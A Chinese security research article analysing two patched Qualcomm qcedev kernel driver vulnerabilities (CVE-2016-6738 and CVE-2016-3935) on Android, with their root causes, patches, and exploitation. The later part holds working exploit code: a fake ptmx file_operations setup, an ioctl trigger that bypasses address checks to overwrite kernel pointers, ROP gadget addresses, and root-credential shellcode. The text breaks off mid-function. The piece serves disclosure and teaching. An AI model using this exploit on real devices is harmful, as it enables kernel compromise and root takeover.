前言


CVE-2016-3935 和 CVE-2016-6738 是我们发现的高通加解密引擎(Qualcomm crypto engine)的两个提权漏洞,分别在2016年10月11月的谷歌android漏洞榜被公开致谢,同时高通也在2016年10月11月的漏洞公告里进行了介绍和公开致谢。这两个漏洞报告给谷歌的时候都提交了exploit并且被采纳,这篇文章介绍一下这两个漏洞的成因和利用。

背景知识

高通芯片提供了硬件加解密功能,并提供驱动给内核态和用户态程序提供高速加解密服务,我们在这里收获了多个漏洞,主要有3个驱动

- qcrypto driver:  供内核态程序使用的加解密接口 
- qcedev driver: 供用户态程序使用的加解密接口
- qce driver:  与加解密芯片交互,提供加解密驱动底层接口

Documentation/crypto/msm/qce.txt

  Linux kernel
  (ex:IPSec)<--*Qualcomm crypto driver----+
                        (qcrypto)         |
                   (for kernel space app) |
                                          |
                                          +-->|
                                              |
                                              | *qce   <----> Qualcomm
                                              | driver        ADM driver <---> ADM HW
                                          +-->|                 |               |
                                          |                     |               |
                                          |                     |               |
                                          |                     |               |
   Linux kernel                           |                     |               |
   misc device  <--- *QCEDEV Driver-------+                     |               |
   interface             (qcedev)                       (Reg interface)  (DMA interface)
                        (for user space app)                    \               /
                                                                 \             /
                                                                  \           /
                                                                   \         /
                                                                    \       /
                                                                     \     /
                                                                      \   /
                                                                Qualcomm crypto CE3 HW

qcedev driver 就是本文两个漏洞发生的地方,这个驱动通过 ioctl 接口为用户层提供加解密和哈希运算服务。

Documentation/crypto/msm/qcedev.txt

Cipher IOCTLs:
  --------------
    QCEDEV_IOCTL_ENC_REQ is for encrypting data.
    QCEDEV_IOCTL_DEC_REQ is for decrypting data.

        The caller of the IOCTL passes a pointer to the structure shown
        below, as the second parameter.

        struct  qcedev_cipher_op_req {
                int                             use_pmem;
                union{
                        struct qcedev_pmem_info pmem;
                        struct qcedev_vbuf_info vbuf;
                };
                uint32_t                        entries;
                uint32_t                        data_len;
                uint8_t                         in_place_op;
                uint8_t                         enckey[QCEDEV_MAX_KEY_SIZE];
                uint32_t                        encklen;
                uint8_t                         iv[QCEDEV_MAX_IV_SIZE];
                uint32_t                        ivlen;
                uint32_t                        byteoffset;
                enum qcedev_cipher_alg_enum     alg;
                enum qcedev_cipher_mode_enum    mode;
                enum qcedev_oper_enum           op;
        };

加解密服务的核心结构体是 struct qcedev_cipher_op_req, 其中, 待加/解密数据存放在 vbuf 变量里,enckey 是秘钥, alg 是算法,这个结构将控制内核qce引擎的加解密行为。

Documentation/crypto/msm/qcedev.txt

 Hashing/HMAC IOCTLs
  -------------------

    QCEDEV_IOCTL_SHA_INIT_REQ is for initializing a hash/hmac request.
    QCEDEV_IOCTL_SHA_UPDATE_REQ is for updating hash/hmac.
    QCEDEV_IOCTL_SHA_FINAL_REQ is for ending the hash/mac request.
    QCEDEV_IOCTL_GET_SHA_REQ is for retrieving the hash/hmac for data
        packet of known size.
    QCEDEV_IOCTL_GET_CMAC_REQ is for retrieving the MAC (using AES CMAC
        algorithm) for data packet of known size.

        The caller of the IOCTL passes a pointer to the structure shown
        below, as the second parameter.

        struct  qcedev_sha_op_req {
                struct buf_info                 data[QCEDEV_MAX_BUFFERS];
                uint32_t                        entries;
                uint32_t                        data_len;
                uint8_t                         digest[QCEDEV_MAX_SHA_DIGEST];
                uint32_t                        diglen;
                uint8_t                         *authkey;
                uint32_t                        authklen;
                enum qcedev_sha_alg_enum        alg;
                struct qcedev_sha_ctxt          ctxt;
        };

哈希运算服务的核心结构体是 struct qcedev_sha_op_req, 待处理数据存放在 data 数组里,entries 是待处理数据的份数,data_len 是总长度。

漏洞成因

可以通过下面的方法获取本文的漏洞代码

* git clone https://android.googlesource.com/kernel/msm.git
* git checkout android-msm-angler-3.10-nougat-mr2
* git checkout 6cc52967be8335c6f53180e30907f405504ce3dd drivers/crypto/msm/qcedev.c 

CVE-2016-6738 漏洞成因

现在,我们来看第一个漏洞 cve-2016-6738

介绍漏洞之前,先科普一下linux kernel 的两个小知识点

1) linux kernel 的用户态空间和内核态空间是怎么划分的?

简单来说,在一个进程的地址空间里,比 thread_info->addr_limit 大的属于内核态地址,比它小的属于用户态地址

2) linux kernel 用户态和内核态之间数据怎么传输?

不可以直接赋值或拷贝,需要使用规定的接口进行数据拷贝,主要是4个接口:

copy_from_user/copy_to_user/get_user/put_user

这4个接口会对目标地址进行合法性校验,比如:

copy_to_user = access_ok + __copy_to_user // __copy_to_user 可以理解为是memcpy

下面看漏洞代码

file: drivers/crypto/msm/qcedev.c
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
        switch (cmd) {
        case QCEDEV_IOCTL_ENC_REQ:
        case QCEDEV_IOCTL_DEC_REQ:
                if (!access_ok(VERIFY_WRITE, (void __user *)arg,
                                sizeof(struct qcedev_cipher_op_req)))
                        return -EFAULT;

                if (__copy_from_user(&qcedev_areq.cipher_op_req,
                                (void __user *)arg,
                                sizeof(struct qcedev_cipher_op_req)))
                        return -EFAULT;
                qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_CIPHER;

                if (qcedev_check_cipher_params(&qcedev_areq.cipher_op_req,
                                podev))
                        return -EINVAL;

                err = qcedev_vbuf_ablk_cipher(&qcedev_areq, handle);
                if (err)
                        return err;
                if (__copy_to_user((void __user *)arg,
                                        &qcedev_areq.cipher_op_req,
                                        sizeof(struct qcedev_cipher_op_req)))
                                return -EFAULT;
                break;
...
        }
        return 0;
err:
        debugfs_remove_recursive(_debug_dent);
        return rc;
}

当用户态通过 ioctl 函数进入 qcedev 驱动后,如果 command 是 QCEDEV_IOCTL_ENC_REQ(加密)或者QCEDEV_IOCTL_DEC_REQ(解密),最后都会调用函数 qcedev_vbuf_ablk_cipher 进行处理。

file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher(struct qcedev_async_req *areq,
                                                struct qcedev_handle *handle)
{
...
        struct  qcedev_cipher_op_req *creq = &areq->cipher_op_req;

        /* Verify Source Address's */
        for (i = 0; i < areq->cipher_op_req.entries; i++)
                if (!access_ok(VERIFY_READ,
                        (void __user *)areq->cipher_op_req.vbuf.src[i].vaddr,
                                        areq->cipher_op_req.vbuf.src[i].len))
                        return -EFAULT;

        /* Verify Destination Address's */
        if (creq->in_place_op != 1) {
                for (i = 0, total = 0; i < QCEDEV_MAX_BUFFERS; i++) {
                        if ((areq->cipher_op_req.vbuf.dst[i].vaddr != 0) &&
                                                (total < creq->data_len)) {
                                if (!access_ok(VERIFY_WRITE,
                                        (void __user *)creq->vbuf.dst[i].vaddr,
                                                creq->vbuf.dst[i].len)) {
                                        pr_err("%s:DST WR_VERIFY err %d=0x%lx\n",
                                                __func__, i, (uintptr_t)
                                                creq->vbuf.dst[i].vaddr);
                                        return -EFAULT;
                                }
                                total += creq->vbuf.dst[i].len;
                        }
                }
        } else  {
                for (i = 0, total = 0; i < creq->entries; i++) {
                        if (total < creq->data_len) {
                                if (!access_ok(VERIFY_WRITE,
                                        (void __user *)creq->vbuf.src[i].vaddr,
                                                creq->vbuf.src[i].len)) {
                                        pr_err("%s:SRC WR_VERIFY err %d=0x%lx\n",
                                                __func__, i, (uintptr_t)
                                                creq->vbuf.src[i].vaddr);
                                        return -EFAULT;
                                }
                                total += creq->vbuf.src[i].len;
                        }
                }
}
        total = 0;
...
        if (areq->cipher_op_req.data_len > max_data_xfer) {
...
        } else
                err = qcedev_vbuf_ablk_cipher_max_xfer(areq, &di, handle,
...                                                             k_align_src);
        return err;
}

在 qcedev_vbuf_ablk_cipher 函数里,首先对 creq->vbuf.src 数组里的地址进行了校验,接下去它需要校验 creq->vbuf.dst 数组里的地址

这时候我们发现,当变量 creq->in_place_op 的值不等于 1 时,它才会校验 creq->vbuf.dst 数组里的地址,否则目标地址creq->vbuf.dst[i].vaddr 将不会被校验

这里的 creq->in_place_op 是一个用户层可以控制的值,如果后续代码对这个值没有要求,那么这里就可以通过让 creq->in_place_op = 1 来绕过对 creq->vbuf.dst[i].vaddr 的校验,这是一个疑似漏洞

file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
                                int *di, struct qcedev_handle *handle,
                                uint8_t *k_align_src)
{
...
        uint8_t *k_align_dst = k_align_src;
        struct  qcedev_cipher_op_req *creq = &areq->cipher_op_req;


        if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
                byteoffset = areq->cipher_op_req.byteoffset;

        user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
        if (user_src && __copy_from_user((k_align_src + byteoffset),
                                (void __user *)user_src,
                                areq->cipher_op_req.vbuf.src[0].len))
                return -EFAULT;

        k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;

        for (i = 1; i < areq->cipher_op_req.entries; i++) {
                user_src =
                        (void __user *)areq->cipher_op_req.vbuf.src[i].vaddr;
                if (user_src && __copy_from_user(k_align_src,
                                        (void __user *)user_src,
                                        areq->cipher_op_req.vbuf.src[i].len)) {
                        return -EFAULT;
                }
                k_align_src += areq->cipher_op_req.vbuf.src[i].len;
}
...
        while (creq->data_len > 0) {
                if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
                        if (err == 0 && __copy_to_user(
                                (void __user *)creq->vbuf.dst[dst_i].vaddr,
                                        (k_align_dst + byteoffset),
                                        creq->vbuf.dst[dst_i].len))
                                        return -EFAULT;

                        k_align_dst += creq->vbuf.dst[dst_i].len +
                                                byteoffset;
                        creq->data_len -= creq->vbuf.dst[dst_i].len;
                        dst_i++;
                } else {
                                if (err == 0 && __copy_to_user(
                                (void __user *)creq->vbuf.dst[dst_i].vaddr,
                                (k_align_dst + byteoffset),
                                creq->data_len))
                                        return -EFAULT;

                        k_align_dst += creq->data_len;
                        creq->vbuf.dst[dst_i].len -= creq->data_len;
                        creq->vbuf.dst[dst_i].vaddr += creq->data_len;
                        creq->data_len = 0;
                }
        }
        *di = dst_i;

        return err;
};

在函数 qcedev_vbuf_ablk_cipher_max_xfer 里,我们发现它没有再用到变量 creq->in_place_op, 也没有对地址 creq->vbuf.dst[i].vaddr 做校验,我们还可以看到该函数最后是使用 __copy_to_user 而不是 copy_to_user 从变量 k_align_dst 拷贝数据到地址 creq->vbuf.dst[i].vaddr

由于 __copy_to_user 本质上只是 memcpy, 且 __copy_to_user 的目标地址是 creq->vbuf.dst[dst_i].vaddr, 这个地址可以被用户态控制, 这样漏洞就坐实了,我们得到了一个内核任意地址写漏洞。

接下去我们看一下能写什么值

file: drivers/crypto/msm/qcedev.c
while (creq->data_len > 0) {
                if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
                        if (err == 0 && __copy_to_user(
                                (void __user *)creq->vbuf.dst[dst_i].vaddr,
                                        (k_align_dst + byteoffset),
                                        creq->vbuf.dst[dst_i].len))
                                        return -EFAULT;

                        k_align_dst += creq->vbuf.dst[dst_i].len +
                                                byteoffset;
                        creq->data_len -= creq->vbuf.dst[dst_i].len;
                        dst_i++;
                } else {

再看一下漏洞触发的地方,源地址是 k_align_dst ,这是一个局部变量,下面看这个地址的内容能否控制。

 static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
                                 int *di, struct qcedev_handle *handle,
                                 uint8_t *k_align_src)
 {
         int err = 0;
         int i = 0;
         int dst_i = *di;
         struct scatterlist sg_src;
         uint32_t byteoffset = 0;
         uint8_t *user_src = NULL;
         uint8_t *k_align_dst = k_align_src;
         struct  qcedev_cipher_op_req *creq = &areq->cipher_op_req;


         if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
                 byteoffset = areq->cipher_op_req.byteoffset;

         user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
         if (user_src && __copy_from_user((k_align_src + byteoffset), // line 1160
                                 (void __user *)user_src,
                                 areq->cipher_op_req.vbuf.src[0].len))
                 return -EFAULT;

         k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;

在函数 qcedev_vbuf_ablk_cipher_max_xfer 的行 1160 可以看到,变量 k_align_dst 的值是从用户态地址拷贝过来的,可以被控制,但是,还没完

1178         /* restore src beginning */
1179         k_align_src = k_align_dst;
1180         areq->cipher_op_req.data_len += byteoffset;
1181 
1182         areq->cipher_req.creq.src = (struct scatterlist *) &sg_src;
1183         areq->cipher_req.creq.dst = (struct scatterlist *) &sg_src;
1184 
1185         /* In place encryption/decryption */
1186         sg_set_buf(areq->cipher_req.creq.src,
1187                                         k_align_dst,
1188                                         areq->cipher_op_req.data_len);
1189         sg_mark_end(areq->cipher_req.creq.src);
1190 
1191         areq->cipher_req.creq.nbytes = areq->cipher_op_req.data_len;
1192         areq->cipher_req.creq.info = areq->cipher_op_req.iv;
1193         areq->cipher_op_req.entries = 1;
1194 
1195         err = submit_req(areq, handle);
1196 
1197         /* copy data to destination buffer*/
1198         creq->data_len -= byteoffset;

行1195调用函数 submit_req ,这个函数的作用是提交一个 buffer 给高通加解密引擎进行加解密,buffer 的设置由函数 sg_set_buf 完成,通过行 1186 可以看到,变量 k_align_dst 就是被传进去的 buffer , 经过这个操作后, 变量 k_align_dst 的值会被改变, 即我们通过__copy_to_user 传递给 creq->vbuf.dst[dst_i].vaddr 的值是被加密或者解密过一次的值。

那么我们怎么控制最终写到任意地址的那个值呢?

思路很直接,我们将要写的值先用一个秘钥和算法加密一次,然后再用解密的模式触发漏洞,在漏洞触发过程中,会自动解密,如下:

1) 假设我们最终要写的数据是A, 我们先选一个加密算法和key进行加密

buf = A
op = QCEDEV_OPER_ENC  // operation 为加密
alg = QCEDEV_ALG_DES // 算法
mode = QCEDEV_DES_MODE_ECB
key = xxx  // 秘钥

=>  B

2) 然后将B作为参数传入 qcedev_vbuf_ablk_cipher_max_xfer 函数触发漏洞,同时参数设置为解密操作,并且传入同样的解密算法和key

buf = B
op = QCEDEV_OPER_DEC //// operation 为解密
alg = QCEDEV_ALG_DES // 一样的算法
mode = QCEDEV_DES_MODE_ECB
key = xxx // 一样的秘钥

=> A

这样的话,经过 submit_req 操作后, line 1204 得到的 k_align_dst 就是我们需要的数据。

至此,我们得到了一个任意地址写任意值的漏洞

CVE-2016-6738 漏洞补丁

这个 漏洞的修复 很直观,将 in_place_op 的判断去掉了,对 creq->vbuf.src 和 creq->vbuf.dst 两个数组里的地址挨个进行 access_ok 校验

下面看第二个漏洞

CVE-2016-3935 漏洞成因


long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
        switch (cmd) {
...
        case QCEDEV_IOCTL_SHA_INIT_REQ:
                {
                struct scatterlist sg_src;
                if (!access_ok(VERIFY_WRITE, (void __user *)arg,
                                sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;

                if (__copy_from_user(&qcedev_areq.sha_op_req,
                                        (void __user *)arg,
                                        sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;
                if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
                        return -EINVAL;
...
                break;
...
        case QCEDEV_IOCTL_SHA_UPDATE_REQ:
                {
                struct scatterlist sg_src;
                if (!access_ok(VERIFY_WRITE, (void __user *)arg,
                                sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;

                if (__copy_from_user(&qcedev_areq.sha_op_req,
                                        (void __user *)arg,
                                        sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;
                if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
                        return -EINVAL;
...
                break;
...
        default:
                return -ENOTTY;
        }

        return err;
}

在 command 为下面几个case 里都会调用 qcedev_check_sha_params 函数对用户态传入的数据进行合法性校验


static int qcedev_check_sha_params(struct qcedev_sha_op_req *req,
                                                struct qcedev_control *podev)
{
        uint32_t total = 0;
        uint32_t i;
...

        /* Check for sum of all src length is equal to data_len  */
        for (i = 0, total = 0; i < req->entries; i++) {
                if (req->data[i].len > ULONG_MAX - total) {
                        pr_err("%s: Integer overflow on total req buf length\n",
                                __func__);
                        goto sha_error;
                }
                total += req->data[i].len;
        }

        if (total != req->data_len) {
                pr_err("%s: Total src(%d) buf size != data_len (%d)\n",
                        __func__, total, req->data_len);
                goto sha_error;
        }
        return 0;
sha_error:
        return -EINVAL;
}

qcedev_check_sha_params 对用户态传入的数据做多种校验,其中一项是对传入的数据数组挨个累加长度,并对总长度做整数溢出校验

问题在于, req->data[i].len 是 uint32_t 类型, 总长度 total 也是 uint32_t 类型,uint32_t 的上限是 UINT_MAX, 而这里使用了 ULONG_MAX 来做校验

usr/include/limits.h

/* Maximum value an `unsigned long int' can hold.  (Minimum is 0.)  */
#  if __WORDSIZE == 64
#   define ULONG_MAX    18446744073709551615UL
#  else
#   define ULONG_MAX    4294967295UL
#  endif

注意到:

所以这里的整数溢出校验 在64bit系统是无效的,即在 64bit 系统,req->data 数组项的总长度可以整数溢出,这里还无法确定这个整数溢出能造成什么后果。

下面看看有何影响,我们选取 case QCEDEV_IOCTL_SHA_UPDATE_REQ


long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...     
        case QCEDEV_IOCTL_SHA_UPDATE_REQ:
                {
                struct scatterlist sg_src;
                if (!access_ok(VERIFY_WRITE, (void __user *)arg,
                                sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;

                if (__copy_from_user(&qcedev_areq.sha_op_req,
                                        (void __user *)arg,
                                        sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;
                if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
                        return -EINVAL;
                qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_SHA;

                if (qcedev_areq.sha_op_req.alg == QCEDEV_ALG_AES_CMAC) {
                        err = qcedev_hash_cmac(&qcedev_areq, handle, &sg_src);
                        if (err)
                                return err;
                } else {
                        if (handle->sha_ctxt.init_done == false) { 
                                pr_err("%s Init was not called\n", __func__);
                                return -EINVAL;
                        }
                        err = qcedev_hash_update(&qcedev_areq, handle, &sg_src);
                        if (err)
                                return err;
                }

                memcpy(&qcedev_areq.sha_op_req.digest[0],
                                &handle->sha_ctxt.digest[0],
                                handle->sha_ctxt.diglen);
                if (__copy_to_user((void __user *)arg, &qcedev_areq.sha_op_req,
                                        sizeof(struct qcedev_sha_op_req)))
                        return -EFAULT;
                }
                break;
...
        return err;
}

qcedev_areq.sha_op_req.alg 的值也是应用层控制的,当等于 QCEDEV_ALG_AES_CMAC 时,进入函数 qcedev_hash_cmac


 868 static int qcedev_hash_cmac(struct qcedev_async_req *qcedev_areq,
 869                                         struct qcedev_handle *handle,
 870                                         struct scatterlist *sg_src)
 871 {
 872         int err = 0;
 873         int i = 0;
 874         uint32_t total;
 875 
 876         uint8_t *user_src = NULL;
 877         uint8_t *k_src = NULL;
 878         uint8_t *k_buf_src = NULL;
 879 
 880         total = qcedev_areq->sha_op_req.data_len;
 881 
 882         /* verify address src(s) */
 883         for (i = 0; i < qcedev_areq->sha_op_req.entries; i++)
 884                 if (!access_ok(VERIFY_READ,
 885                         (void __user *)qcedev_areq->sha_op_req.data[i].vaddr,
 886                         qcedev_areq->sha_op_req.data[i].len))
 887                         return -EFAULT;
 888 
 889         /* Verify Source Address */
 890         if (!access_ok(VERIFY_READ,
 891                                 (void __user *)qcedev_areq->sha_op_req.authkey,
 892                                 qcedev_areq->sha_op_req.authklen))
 893                         return -EFAULT;
 894         if (__copy_from_user(&handle->sha_ctxt.authkey[0],
 895                                 (void __user *)qcedev_areq->sha_op_req.authkey,
 896                                 qcedev_areq->sha_op_req.authklen))
 897                 return -EFAULT;
 898 
 899 
 900         k_buf_src = kmalloc(total, GFP_KERNEL);
 901         if (k_buf_src == NULL) {
 902                 pr_err("%s: Can't Allocate memory: k_buf_src 0x%lx\n",
 903                                 __func__, (uintptr_t)k_buf_src);
 904                 return -ENOMEM;
 905         }
 906 
 907         k_src = k_buf_src;
 908 
 909         /* Copy data from user src(s) */
 910         user_src = (void __user *)qcedev_areq->sha_op_req.data[0].vaddr;
 911         for (i = 0; i < qcedev_areq->sha_op_req.entries; i++) {
 912                 user_src =
 913                         (void __user *)qcedev_areq->sha_op_req.data[i].vaddr;
 914                 if (user_src && __copy_from_user(k_src, (void __user *)user_src,
 915                                 qcedev_areq->sha_op_req.data[i].len)) {
 916                         kzfree(k_buf_src);
 917                         return -EFAULT;
 918                 }
 919                 k_src += qcedev_areq->sha_op_req.data[i].len;
 920         }
...
}

在函数 qcedev_hash_cmac 里, line 900 申请的堆内存 k_buf_src 的长度是 qcedev_areq->sha_op_req.data_len ,即请求数组里所有项的长度之和

然后在 line 911 ~ 920 的循环里,会将请求数组 qcedev_areq->sha_op_req.data[] 里的元素挨个拷贝到堆 k_buf_src 里,由于前面存在的整数溢出漏洞,这里会转变成为一个堆溢出漏洞,至此漏洞坐实。

CVE-2016-3935 漏洞补丁

3935patch

这个 漏洞补丁 也很直观,就是在做整数溢出时,将 ULONG_MAX 改成了 U32_MAX, 这种因为系统由32位升级到64位导致的代码漏洞,是 2016 年的一类常见漏洞

【本文《高通加解密引擎提权漏洞解析》由360核心安全入驻安全脉搏账号发布 作者 : jiayy(@chengjia4574) from IceSword Lab ,Qihoo 360  转载注明来源安全脉搏

下面进入漏洞利用分析

漏洞利用

android kernel 漏洞利用基础

在介绍本文两个漏洞的利用之前,先回顾一下 android kernel 漏洞利用的基础知识

什么是提权 [^]

include/linux/sched.h

struct task_struct {
        volatile long state;    /* -1 unrunnable, 0 runnable, >0 stopped */
        void *stack;
...
/* process credentials */
        const struct cred __rcu *real_cred; /* objective and real subjective task
                                         * credentials (COW) */
        const struct cred __rcu *cred;  /* effective (overridable) subjective task
                                         * credentials (COW) */
        char comm[TASK_COMM_LEN]; /* executable name excluding path
                                     - access with [gs]et_task_comm (which lock
                                       it with task_lock())
                                     - initialized normally by setup_new_exec */
...
}

linux kernel 里,进程由 struct task_struct 表示,进程的权限由该结构体的两个成员 real_credcred 表示


include/linux/cred.h

struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
...
}

所谓提权,就是修改进程的 real_cred/cred 这两个结构体的各种 id 值,随着缓解措施的不断演进,完整的提权过程还需要修改其他一些内核变量的值,但是最基础的提权还是修改本进程的 cred, 这个任务又可以分解为多个问题:

利用方法回顾

exphistory

[图片来自]

上图是最近若干年围绕 android kernel 漏洞利用和缓解的简单回顾,

```c
shellcode:

static void
obtain_root_privilege_by_commit_creds(void)
{
      commit_creds(prepare_kernel_cred(0));
}
```

可以看到,这个阶段的用户态 shellcode 非常简单, 利用漏洞改写内核某个函数指针(最常见的就是 ptmx 驱动的 fsync 函数)将其实现替换为用户态的函数, 最后在用户态调用被改写的函数, 这样的话从内核直接执行用户态的提权函数完成提权

这种方法在开源root套件 android_run_root_shell 得到了充分提现

后来,内核推出了kptr_restrict/dmesg_restrict 措施使得默认配置下无法从 /proc/kallsyms 等接口搜索内核符号的地址

但是这种缓解措施很容易绕过, android_run_root_shell 里提供了两种方法:

  1. 通过一些内存 pattern 直接在内存空间里搜索符号地址,从而得到 commit_creds/prepare_kernel_cred 的值;
    libkallsyms:get_kallsyms_in_memory_addresses
  2. 放弃使用 commit_creds/prepare_kernel_cred 这两个内核函数,从内核里直接定位到 task_struct 和 cred 结构并改写
    obtain_root_privilege_by_modify_task_cred

具体的 rop 技巧有几种,

  1. 下面两篇文章讲了基本的 linux kernel ROP 技巧

Linux Kernel ROP - Ropping your way to # (Part 1)/)

Linux Kernel ROP - Ropping your way to # (Part 2)/)

6a0133f264aa62970b01b7c86b399a970b-800wi

可以看到这两篇文章的方法是搜索一些 rop 指令 ,然后用它们串联 commit_creds/prepare_kernel_cred, 是对上一阶段思路的自然延伸。

  1. 使用 rop 改写 addr_limit 的值,破除本进程的系统调用 access_ok 校验,然后通过一些函数如 ptrace_write_value_at_address直接读写内核来提权, 将 selinux_enforcing 变量写0关闭 selinux
  2. 大名鼎鼎的 Ret2dir bypass PXN
  3. 还有就是本文使用的思路,用漏洞重定向内核驱动的 xxx_operations 结构体指针到应用层,再用 rop 地址填充应用层的伪xxx_operations 里的函数实现
  4. 还有一些 2017 新出来的绕过缓解措施的技巧,参考

针对以上提权方法,Kernel_Self_Protection_Project 开发了对应的一系列缓解措施,目前这些措施正在逐步推入linux kernel 主线,下面是其中一部分缓解方案,可以看到,我们回顾的所有利用方法都已经被考虑在内,不久的将来,这些方法可能都会失效

有兴趣的同学可以进入该项目看看代码,提前了解一下缓解措施,

比如 KASLR for ARM, 将大部分内核对象的地址做了随机化处理,这是以后 android kernel exploit 必须面对的;

另外比如 __ro_after_init ,内核启动完成初始化之后大部分 fops 全局变量都变成 readonly 的,这造成了本文这种利用方法失效, 所幸的是,目前 android kernel 还是可以用的。

本文使用的利用方法

对照 Kernel_Self_Protection_Project 的利用分类,本文的利用思路属于 Userspace data usage

Sometimes an attacker won’t be able to control the instruction pointer directly, but they will be able to redirect the dereference a structure or other pointer. In these cases, it is easiest to aim at malicious structures that have been built in userspace to perform the exploitation.

具体来说,我们在应用层构造一个伪 file_operations 结构体(其他如 tty_operations 也可以),然后通过漏洞改写内核某一个驱动的 fops指针,将其改指向我们在应用层伪造的结构体,之后,我们搜索特定的 rop 并随时替换这个伪 file_operations 结构体里的函数实现,就可以做到在内核多次执行任意代码(取决于rop) ,这种方法的好处包括:

  1. 内核有很多驱动,所以 fops 非常多,地址上也比较分散,对一些溢出类漏洞来说,选择比较多
  2. 内核的 fops 一般都存放在 writable 的 data 区,至少目前android 主流 kernel 依然如此
  3. 将内核的 fops 指向用户空间后,用户空间可以随意改写其内部函数的实现
  4. 只需要一次内核写

下面结合漏洞说明怎么利用

CVE-2016-6738 漏洞利用

CVE-2016-6738 是一个任意地址写任意值的漏洞,利用代码已经提交在 EXP-CVE-2016-6738

我们选择重定向 /dev/ptmx 设备的 file_operations, 先在用户态构造一个伪结构,如下


        map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
        if(map == MAP_FAILED) {
                printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
                ret = -1;
                goto out;
        }
        //printf("[+] landing mmap'ed @ %p\n", map);
        memset(map, 0x0, 0x10000);
        fake_ptmx_fops = map;
        printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops);
        *(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
        *(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
        *(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
        *(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
        *(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
        *(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
        *(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
        *(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
        *(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;

根据前面的分析,伪结构的值需要先做一次加密,再使用

    unsigned long edata = 0;
        qcedev_encrypt(fd, fake_ptmx_fops, &edata);
        trigger(fd, edata);

下面是核心的函数


static int trigger(int fd, unsigned long src)
{
        int cmd;
        int ret;
        int size;
        unsigned long dst;
        struct qcedev_cipher_op_req params;

        dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops
        size = sizeof(unsigned long);
        memset(&params, 0, sizeof(params));
        cmd = QCEDEV_IOCTL_DEC_REQ;
        params.entries = 1;
        params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
        params.alg = QCEDEV_ALG_DES;
        params.mode = QCEDEV_DES_MODE_ECB;
        params.data_len = size;
        params.vbuf.src[0].len = size;
        params.vbuf.src[0].vaddr = &src;
        params.vbuf.dst[0].len = size;
        params.vbuf.dst[0].vaddr = dst;
        memcpy(params.enckey,"test", 16);
        params.encklen = 16;

        printf("[+] overwrite ptmx_cdev ops\n");
        ret = ioctl(fd, cmd, &params); // trigger 
        if(ret == -1) {
                printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
                return -1;
        }
        return 0;

}

参数 src 就是 fake_ptmx_fops 加密后的值,我们将其地址放入 qcedev_cipher_op_req.vbuf.src[0].vaddr 里,目标地址qcedev_cipher_op_req.vbuf.dst[0].vaddr 存放 ptmx_cdev->ops 的地址,然后调用 ioctl 触发漏洞,任意地址写漏洞触发后,目标地址 ptmx_cdev->ops 的值会被覆盖为 fake_ptmx_fops.

此后,对 ptmx 设备的内核fops函数执行,都会被重定向到用户层伪造的函数,我们通过一些rop 片段来实现伪函数,就可以被内核直接调用。

/*
 * rop write:
 * ffffffc000671a58:       b9000041        str     w1, [x2]
 * ffffffc000671a5c:       d65f03c0        ret
 */
#define ROP_WRITE       0xffffffc000671a58

比如,我们找到一段 rop 如上,其地址是 0xffffffc000671a58, 其指令是 str w1, [x2] ; ret ;

这段 rop 作为一个函数去执行的话,其效果相当于将第二个参数的值写入第三个参数指向的地址。

我们用这段 rop 构造一个用户态函数,如下

static int kernel_write_32(unsigned long addr, unsigned int val)
{
        unsigned long arg;

        *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

